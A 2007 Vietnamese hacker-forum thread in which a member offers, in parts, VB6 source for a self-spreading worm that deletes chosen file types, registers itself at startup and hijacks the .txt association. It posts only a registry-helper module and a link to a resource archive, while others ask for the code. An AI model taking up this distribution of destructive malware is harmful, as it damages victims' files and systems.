[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 01:01:31 (+0700) | #1 | 49810 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
Tui định công bố thêm một mã nguồn con Worm có chức năng xóa các file theo qui định mà mình yêu cầu ( trong mã nguồn nó xóa khoảng 7 định dạng và mình có thể Edit nó thành các kiểu )
Tự lây lan, tự đăng ký Start, Tự thay đổi Program chạy nó khi ra mở các định dạng file *.txt
Tóm lại là có đầy đủ các đặc tính của một con Worm.
Code viết bằng VB 6.0
PM: Bác ADMIN có cho em post lên không để em còn biết không lại Hide mất. :? |
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:12:18 (+0700) | #2 | 49862 |
|
try_and_try
Member
|
0 |
|
|
Joined: 22/03/2007 10:20:34
Messages: 51
Location: Ho Chi Minh City
Offline
|
|
Post lên đi bạn, cho mọi người học hỏi |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:17:20 (+0700) | #3 | 49863 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
Em mà post lên thì lại hide ngay.
Hay là cắt từng phần lên cho nó ngầu nhỉ ??? |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:19:22 (+0700) | #4 | 49864 |
|
posiden
Member
|
0 |
|
|
Joined: 02/10/2003 08:57:15
Messages: 84
Location: University of Natural Science - 03CK2
Offline
|
|
care nhé,post mã nguồn và phân tích cho anh em biết cách xem và chỉnh chứ không phải post file exe để hại anh em nhé.
chúc vui
thân |
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:20:00 (+0700) | #5 | 49865 |
|
try_and_try
Member
|
0 |
|
|
Joined: 22/03/2007 10:20:34
Messages: 51
Location: Ho Chi Minh City
Offline
|
|
vậy bạn có nick yahoo kô, mình trao đổi qua Chat đi. Còn trong 4rum thì còn tuỳ admin có cho phép post lên kô. Nhưng theo mình thì trên tinh thần học hỏi thì chắc kô sao đâu |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:29:21 (+0700) | #6 | 49870 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
Đã gọi mà Source code mà pác [color=red]posiden[\color] còn bảo là EXE !
YM mình không Online ! nếu bạn dùng GoogleTallk thì OK.
GT: trinhngochoan@gmail.com
thế nhé. |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:38:21 (+0700) | #7 | 49875 |
|
posiden
Member
|
0 |
|
|
Joined: 02/10/2003 08:57:15
Messages: 84
Location: University of Natural Science - 03CK2
Offline
|
|
thì nếu bạn đưa code thì ok,đâu ai nói gì,nhưng đưa code lên đi,và phân tích cách hoạt động nữa nhé,như vậy sẽ học được nhiều hơn là copy y chang mà không hiểu gì hết.ok?
mong được xem sớm.... |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:51:59 (+0700) | #8 | 49880 |
|
try_and_try
Member
|
0 |
|
|
Joined: 22/03/2007 10:20:34
Messages: 51
Location: Ho Chi Minh City
Offline
|
|
ngochoan2003 wrote:
YM mình không Online ! nếu bạn dùng GoogleTallk thì OK.
GT: trinhngochoan@gmail.com
thế nhé.
Hix, mình hông có xài cái đó. Vậy thì bạn pót lên luôn đi. Mọi người đang chờ kìa |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 04:54:45 (+0700) | #9 | 49883 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
Chài !
Bạn đã đọc một bài tui post mã nguồn một con virus lên chưa !
Chưa kịp comment gì thì đã bị hide luôn rùi !
|
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 05:18:39 (+0700) | #10 | 49896 |
|
try_and_try
Member
|
0 |
|
|
Joined: 22/03/2007 10:20:34
Messages: 51
Location: Ho Chi Minh City
Offline
|
|
ngochoan2003 wrote:
Chài !
Bạn đã đọc một bài tui post mã nguồn một con virus lên chưa !
Chưa kịp comment gì thì đã bị hide luôn rùi !
Mình cũng đang tiếc nè. Mình zô chậm 1 bước, bị admin hide rùi. Không thấy gì hết...chán
|
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 05:21:50 (+0700) | #11 | 49897 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
OK thui để tui post " Từng phần" lên vậy. Nếu Admin Hide thì chịu thui:
Trước hết trong project của bạn phải có :
01 Form trong form chứa các thành phần sau : 01 Dirlistbox, 01 drivelistbox, 2 filelistbox, 1 listbox, 1 timer.
01 module ( khai báo các API cần sử dụng )
01 Relate document ( chứa các định dạng file )
Trước mắt thế đã. Hết giờ rùi tui phải về mai đi làm tui post tiếp ! :lol
|
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 05:21:54 (+0700) | #12 | 49898 |
|
posiden
Member
|
0 |
|
|
Joined: 02/10/2003 08:57:15
Messages: 84
Location: University of Natural Science - 03CK2
Offline
|
|
theo mình nghĩ cùng xem và thảo luận mã nguồn đâu có hại gì,sẽ giúp ích cho việc tiến bộ hơn,sao admin lại hide nhỉ? |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 05:26:42 (+0700) | #13 | 49900 |
|
try_and_try
Member
|
0 |
|
|
Joined: 22/03/2007 10:20:34
Messages: 51
Location: Ho Chi Minh City
Offline
|
|
ok, mai mình chờ bài của bạn |
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 08:07:31 (+0700) | #14 | 49946 |
thanhhai87
Member
|
0 |
|
|
Joined: 27/02/2007 19:49:30
Messages: 19
Location: Hai Phong
Offline
|
|
Post tiếp cho mọi người nhé ?
Tui cũng muốn lắm nhưng sợ bị hide ! chan nhi ?
Nếu co thể send cho tui được không ?
cảm ơn nhiều nhiều ...
|
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 21:54:06 (+0700) | #15 | 50069 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
Hôm nay tui post tiếp code cho mọi người nhé:
Code trong file Resource thì tui up lên cho mọi người load luôn về.
http://files.myopera.com/ngochoan2006/files/pics.zip
giải nén ra được file Res và add vào Project của mình nhé.
Code trong Module:
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_DYN_DATA = &H80000006
Public Const REG_SZ = 1 'Unicode nul terminated String
Public Const REG_BINARY = 3 'Free form binary
Public Const REG_DWORD = 4 '32-bit number
Public Const ERROR_SUCCESS = 0&
Dim DispName As String
Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Const MAX_PATH = 260
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
'Create a new key
RegCreateKey hKey, strPath, Ret
'Save a string to the key
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
'close the key
RegCloseKey Ret
End Sub
Public Function RGGetKeyValue(hKey As Long, SubKey As String, ValueName As String, Optional Default As String = "")
Dim lngRet As Long
Dim lngResult As Long
Dim sData As String
lngRet = RegOpenKeyEx(hKey, SubKey, 0, KEY_ALL_ACCESS, lngResult)
If lngRet = ERROR_SUCCESS Then
sData = String(128, vbNullChar)
lngRet = RegQueryValueEx(lngResult, ValueName, 0, REG_SZ, ByVal sData, Len(sData))
If Not lngRet = ERROR_SUCCESS Then RGGetKeyValue = Default: Exit Function
RGGetKeyValue = Left(sData, InStr(1, sData, vbNullChar) - 1)
RegCloseKey lngResult
Else
RGGetKeyValue = Default
End If
End Function
Chốc nữa tui giải thích các câu lệnh, tóm lại module này dùng để tạo, đọc ghi các giá trị trong Regedit.
Thế nhé bây giờ tui đi có chuyện một chút. |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
28/03/2007 23:21:25 (+0700) | #16 | 50088 |
|
Durza
Member
|
0 |
|
|
Joined: 07/02/2007 20:23:29
Messages: 177
Location: UnderGround World
Offline
|
|
Hic ! Thấy mấy bác làm gì mà khổ thế ?
Chỉ cần dùng AutoIT soạn ra là được mờ , đơn giản , dễ làm |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
29/03/2007 00:01:51 (+0700) | #17 | 50100 |
|
try_and_try
Member
|
0 |
|
|
Joined: 22/03/2007 10:20:34
Messages: 51
Location: Ho Chi Minh City
Offline
|
|
Durza wrote:
Hic ! Thấy mấy bác làm gì mà khổ thế ?
Chỉ cần dùng AutoIT soạn ra là được mờ , đơn giản , dễ làm
Mình cũng có nghe về AutoIT nhưng mà không biết sử dụng. Bạn nào biết chỉ mình với, nếu có ebook thì càng hay |
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
29/03/2007 00:20:50 (+0700) | #18 | 50110 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
Hà hà hà ! Các bác thích học AutoIT hả !
hiện nay tui đang nói cho mọi người biết về mã nguồn của một Worm viết bằng VB. Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! :lol thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.
For All :
Địa chỉ học AutoIT thì các bác vào http://identical.wordpress.com/tag/coding/autoit/ //url nhé bao giờ thành công viết được một con thì hướng dẫn em với nhé ! ) |
|
|
|
|
[Question] Mã nguồn một con Worm delete các file theo qui định !!! |
29/03/2007 10:47:23 (+0700) | #19 | 50294 |
|
minhquan1712
Member
|
0 |
|
|
Joined: 07/09/2006 16:17:25
Messages: 240
Offline
|
|
Hà hà hà ! Các bác thích học AutoIT hả !
hiện nay tui đang nói cho mọi người biết về mã nguồn của một Worm viết bằng VB. Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.
For All :
Địa chỉ học AutoIT thì các bác vào đây để học nhé bao giờ thành công viết được một con thì hướng dẫn em với nhé !
cái link bạn chỉ chỉ là 1 phần translate nhỏ của tác giả từ file help của autoIT thoai. Còn để viết thành công 1 con worm hoặc virus(đại khái là 1 đoạn code độc hại) thì còn là 1 chặng đường dài tìm hiểu về ngôn ngữ nữa. Ko phải muốn là được đâu và điều wuan trọng nhất chính là cái creation của bạn, để cái bạn viết ra ko đụng hàng. HIhihihi. Good luck, lúc nào các bạn viết thành công 1 con virus bằng autoIT( ko tính mấy con lây lan wua yahoo nha) thì share cho mọi người xem sản phẩm của bạn với nha ^_^ |
|
|
|
|
[Question] Re: Worm delete các file theo qui định |
04/04/2007 22:58:54 (+0700) | #20 | 51599 |
|
haphuc
Member
|
0 |
|
|
Joined: 02/07/2006 17:01:14
Messages: 6
Offline
|
|
Anh ơi gởi cho minh đoạn code này đi, minh thích vbs lắm.
code độc hại hay có lợi điều là do con người sử dụng nó phải không?
email: quoc_dn2000@yahoo.com. thank! |
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
05/04/2007 05:58:32 (+0700) | #21 | 51687 |
dungcoi_vb
Member
|
0 |
|
|
Joined: 29/06/2006 17:17:06
Messages: 100
Offline
|
|
ngochoan2003 wrote:
Hôm nay tui post tiếp code cho mọi người nhé:
Code trong file Resource thì tui up lên cho mọi người load luôn về.
http://files.myopera.com/ngochoan2006/files/pics.zip
giải nén ra được file Res và add vào Project của mình nhé.
Code trong Module:
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_DYN_DATA = &H80000006
Public Const REG_SZ = 1 'Unicode nul terminated String
Public Const REG_BINARY = 3 'Free form binary
Public Const REG_DWORD = 4 '32-bit number
Public Const ERROR_SUCCESS = 0& Dim DispName As String
Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Const MAX_PATH = 260
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
'Create a new key
RegCreateKey hKey, strPath, Ret
'Save a string to the key
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
'close the key
RegCloseKey Ret
End Sub
Public Function RGGetKeyValue(hKey As Long, SubKey As String, ValueName As String, Optional Default As String = "")
Dim lngRet As Long
Dim lngResult As Long
Dim sData As String
lngRet = RegOpenKeyEx(hKey, SubKey, 0, KEY_ALL_ACCESS, lngResult)
If lngRet = ERROR_SUCCESS Then
sData = String(128, vbNullChar)
lngRet = RegQueryValueEx(lngResult, ValueName, 0, REG_SZ, ByVal sData, Len(sData))
If Not lngRet = ERROR_SUCCESS Then RGGetKeyValue = Default: Exit Function
RGGetKeyValue = Left(sData, InStr(1, sData, vbNullChar) - 1)
RegCloseKey lngResult
Else
RGGetKeyValue = Default
End If
End Function
Chốc nữa tui giải thích các câu lệnh, tóm lại module này dùng để tạo, đọc ghi các giá trị trong Regedit.
Thế nhé bây giờ tui đi có chuyện một chút.
:cry: code thừa nhiều quá. chưa nói về tính chuyên nghiệp nhưng chỉ mới xem code đã thấy sự ko tối ưu về mặt code rùi :?) |
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
05/04/2007 07:42:22 (+0700) | #22 | 51709 |
beginner115
Member
|
0 |
|
|
Joined: 04/04/2007 00:25:42
Messages: 4
Offline
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
05/04/2007 09:29:04 (+0700) | #23 | 51735 |
|
Durza
Member
|
0 |
|
|
Joined: 07/02/2007 20:23:29
Messages: 177
Location: UnderGround World
Offline
|
|
|
|
[Question] Re: Mã nguồn một con Worm delete các file theo qui định !!! |
08/04/2007 05:28:05 (+0700) | #24 | 52351 |
|
ngochoan2003
Member
|
0 |
|
|
Joined: 15/05/2003 14:09:36
Messages: 91
Offline
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|